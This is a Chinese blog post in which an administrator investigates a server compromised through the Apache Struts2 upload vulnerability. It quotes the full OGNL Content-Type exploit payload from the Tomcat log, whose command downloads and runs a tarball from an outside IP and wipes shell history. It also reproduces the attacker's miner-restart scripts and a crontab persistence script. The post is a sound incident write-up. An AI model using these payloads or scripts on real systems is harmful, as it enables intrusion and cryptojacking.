热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

开发笔记:关于apache的Struts2上传机制漏洞

篇首语:本文由编程笔记#小编为大家整理,主要介绍了关于apache的Struts2上传机制漏洞相关的知识,希望对你有一定的参考价值。一.环境说明

篇首语:本文由编程笔记#小编为大家整理,主要介绍了关于apache的Struts2上传机制漏洞相关的知识,希望对你有一定的参考价值。



一.环境说明

2018-04-24早上,开发说他们的聊天的项目不能登录,于是立刻查看服务器,结果已经不能远程登录服务器了,但是服务器的外网ip是可以ping通的,无解,只能让机房的同事登录服务器查看。
同事登录服务器,查看原来服务器上的sshd服务被关闭了,导致不能远程连接了
。开启sshd服务,我这边远程登录服务器,查看。服务器上的所有的服务,tomcat
mysql nginx crond等服务都被关掉了。一开始以为是服务器自身的故障导致服务器重启,线上的服务都没起来,但是查看服务器上服务是否是开机自启动的,结果,服务都是开机自启动。而且top看服务器的运行时间,服务器都是一致都是正常的运行的,也没有重启过。
[[email protected] tmp]# chkconfig --list|grep -E "sshd|mysql|nginx|crond"

crond 0:off 1:off 2:on 3:on 4:on 5:on 6:off
mysqld 0:off 1:off 2:on 3:on 4:on 5:on 6:off
nginx 0:off 1:off 2:off 3:off 4:off 5:off 6:off
sshd 0:off 1:off 2:on 3:on 4:on 5:on 6:off

但是查看系统日志和安全登录日志,以及服务器的历史操作记录,以及我的定时任务的的内容,结果都被清空了,根本无法查找。太诡异了。基于以上的情况出现了两次,
于是对服务器做了安全限制,只能采用秘钥登录,修改服务器的sshd端口,
为了防止服务器上的sshd服务,crond服务,mysql,tomcat被异常关闭,以及定时任务内容被清空,于是写脚本检测服务进程不存在就启动服务,而且特意对crond文件进行了加锁,防止被删掉内容。

好景不长,
2018-04-26,也就是今天下午有出现异常,突然收到7.3服务器负载爆高的报警,
于是又开始排查,原来发现是代码的漏洞导致服务器被植入脚本了,下面是排查过程:
top查看负载,服务器负载飙高
技术分享图片

查看cpu高的进程所运行的程序:
技术分享图片

[[email protected] .xxz]# cd /var/tmp/
[[email protected] tmp]# ls
1.sh 3.sh sum
发现2个异常脚本和一个可执行程序,于是立刻去掉三个文件的执行权限
chmod 400 1.sh 3.sh sum
技术分享图片
发现异常脚本
于是先kill掉sum的这个异常的进程
继续查看进程结果发现md的程序的cpu突然暴增
技术分享图片
于是立刻kill掉md程序,服务器的负载迅速下降下来了

查看植入服务器的异常脚本:

[email protected] tmp]# cat 1.sh
#!/bin/sh
while true; do
server=`ps aux | grep sum | grep -v grep`
if [ ! "$server" ]; then
/var/tmp/sum -a sumo --host pool.sumokoin.hashvault.pro --port 3333 --user Sumoo3cjhZQNWkaxZdKpVeaRMpjDE7PV7VuK3KsGxPRKYvd5oq5VuvE58zCPfoJW8zdoMpW8UmXc4GoA7VgkfocBMgpn52QMG89 --pass xc
sleep 10
fi
sleep 5
done[[email protected] tmp]# cat 3.sh
#!/bin/sh
while true; do
server=`ps aux | grep sum | grep -v grep`
if [ ! "$server" ]; then
/var/tmp/sum -a sumo --host pool.sumokoin.hashvault.pro --port 3333 --user Sumoo3cjhZQNWkaxZdKpVeaRMpjDE7PV7VuK3KsGxPRKYvd5oq5VuvE58zCPfoJW8zdoMpW8UmXc4GoA7VgkfocBMgpn52QMG89 --pass xc
sleep 10
fi
sleep 5

继续排查,查看服务器的系统日志,没发现异常,于是又查看服务器的登录日志,也没发现登录异常的日志文件
tailf /var/log/messages
tailf /var/log/secure

那这些脚本有事如何上传到服务器上的呢? 忽然想到了,服务器上运行的tomcat得服务,而且听开发说是上传文件的java程序, 需要开始一个个日志文件查看,准予让我发现了蛛丝马迹了

[[email protected] logs]# grep export catalina.out
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn‘t contain a multipart/form-data or multipart/form-data stream, content type header is %{(#_=‘multipart/form-data‘).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#cOntainer=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0; cd /tmp; cd /var/tmp; chattr -ais *; wget http://52.175.207.110/.xxlol.tar.gz; curl -O http://52.175.207.110/.xxlol.tar.gz; fetch http://52.175.207.110/.xxlol.tar.gz; lwp-download http://52.175.207.110/.xxlol.tar.gz; tar -xvf .xxlol.tar.gz; rm -rf .xxlol.tar.gz; cd .xxz; chmod 777 *; ./x; ./run; history -c‘).(#iswin=(@[email protected](‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}

红色的字体,发现下载一个程序到服务器/var/tmp/下面,解压出来是一个隐藏文件

[[email protected] tmp]# pwd
/var/tmp
[[email protected] tmp]# ls -al
total 2644
drwxr-xr-x. 3 root root 4096 Apr 26 15:29 .
drwxr-xr-x. 21 root root 4096 Apr 10 2017 ..
-r-------- 1 root root 333 Apr 24 22:44 1.sh
-r-------- 1 root root 333 Apr 24 22:06 3.sh
-r-------- 1 root root 2684568 Apr 24 22:06 sum
drwx------ 2 1002 1002 4096 Apr 26 16:37 .xxz
[[email protected] tmp]# cd .xxz/
[[email protected] .xxz]# ls
a bash.pid cron.d dir.dir h32 h64 md run x
[[email protected] .xxz]#

去掉执行权限:

技术分享图片

md h64 h32 run 都是恶意代码的执行程序

[[email protected] .xxz]# cat a

pwd > dir.dir
dir=$(cat dir.dir)
echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null
chmod u+x upd
./run &>/dev/null

于是百度了一下如下代码:

org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn‘t contain a multipart/form-data or multipart/form-data stream, content type heade

结果查到了struts高危漏洞:
参考地址:
https://paper.seebug.org/241/
于是提交开发让开发修补代码漏洞,解决问题。
此处只是简单的介绍了下遇到黑服务器的几个常见的排查思路


推荐阅读
  • 本文介绍了在RHEL 7中的系统日志管理和网络管理。系统日志管理包括rsyslog和systemd-journal两种日志服务,分别介绍了它们的特点、配置文件和日志查询方式。网络管理主要介绍了使用nmcli命令查看和配置网络接口的方法,包括查看网卡信息、添加、修改和删除配置文件等操作。 ... [详细]
  • 第四讲ApacheLAMP服务器基本配置Apache的编译安装从Apache的官方网站下载源码包:http:httpd.apache.orgdownload.cgi今 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • Linux如何安装Mongodb的详细步骤和注意事项
    本文介绍了Linux如何安装Mongodb的详细步骤和注意事项,同时介绍了Mongodb的特点和优势。Mongodb是一个开源的数据库,适用于各种规模的企业和各类应用程序。它具有灵活的数据模式和高性能的数据读写操作,能够提高企业的敏捷性和可扩展性。文章还提供了Mongodb的下载安装包地址。 ... [详细]
  • 本文介绍了将mysql从5.6.15升级到5.7.15的详细步骤,包括关闭访问、备份旧库、备份权限、配置文件备份、关闭旧数据库、安装二进制、替换配置文件以及启动新数据库等操作。 ... [详细]
  • 本文介绍了在CentOS上安装Python2.7.2的详细步骤,包括下载、解压、编译和安装等操作。同时提供了一些注意事项,以及测试安装是否成功的方法。 ... [详细]
  • centos安装Mysql的方法及步骤详解
    本文介绍了centos安装Mysql的两种方式:rpm方式和绿色方式安装,详细介绍了安装所需的软件包以及安装过程中的注意事项,包括检查是否安装成功的方法。通过本文,读者可以了解到在centos系统上如何正确安装Mysql。 ... [详细]
  • Java如何导入和导出Excel文件的方法和步骤详解
    本文详细介绍了在SpringBoot中使用Java导入和导出Excel文件的方法和步骤,包括添加操作Excel的依赖、自定义注解等。文章还提供了示例代码,并将代码上传至GitHub供访问。 ... [详细]
  • 本文介绍了禅道作为一款国产开源免费的测试管理工具的特点和功能,并提供了禅道的搭建和调试方法。禅道是一款B/S结构的项目管理工具,可以实现组织管理、后台管理、产品管理、项目管理和测试管理等功能。同时,本文还介绍了其他软件测试相关工具,如功能自动化工具和性能自动化工具,以及白盒测试工具的使用。通过本文的阅读,读者可以了解禅道的基本使用方法和优势,从而更好地进行测试管理工作。 ... [详细]
  • Redis API
    安装启动最简启动命令行输入验证动态参数启动配置文件启动常用配置通用命令keysbdsize计算key的总数exists判断是否存在delkeyvalue删除指定的keyvalue成 ... [详细]
  • 面试经验分享:华为面试四轮电话面试、一轮笔试、一轮主管视频面试、一轮hr视频面试
    最近有朋友去华为面试,面试经历包括四轮电话面试、一轮笔试、一轮主管视频面试、一轮hr视频面试。80%的人都在第一轮电话面试中失败,因为缺乏基础知识。面试问题涉及 ... [详细]
  • 本文详细介绍了在Linux虚拟化部署中进行VLAN配置的方法。首先要确认Linux系统内核是否已经支持VLAN功能,然后配置物理网卡、子网卡和虚拟VLAN网卡的关系。接着介绍了在Linux配置VLAN Trunk的步骤,包括将物理网卡添加到VLAN、检查添加的VLAN虚拟网卡信息以及重启网络服务等。最后,通过验证连通性来确认配置是否成功。 ... [详细]
  • zabbix中文乱码的问题
    在使用zabbix时,有时候会出现中文乱码的问题,如下:因为zabbix自身对中文简体的支持不完善,需要我们手动的去上传新的字体进行替换:1、在windows获取字体库文件在Windows上的 ... [详细]
author-avatar
无奈中有几多Rudy
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有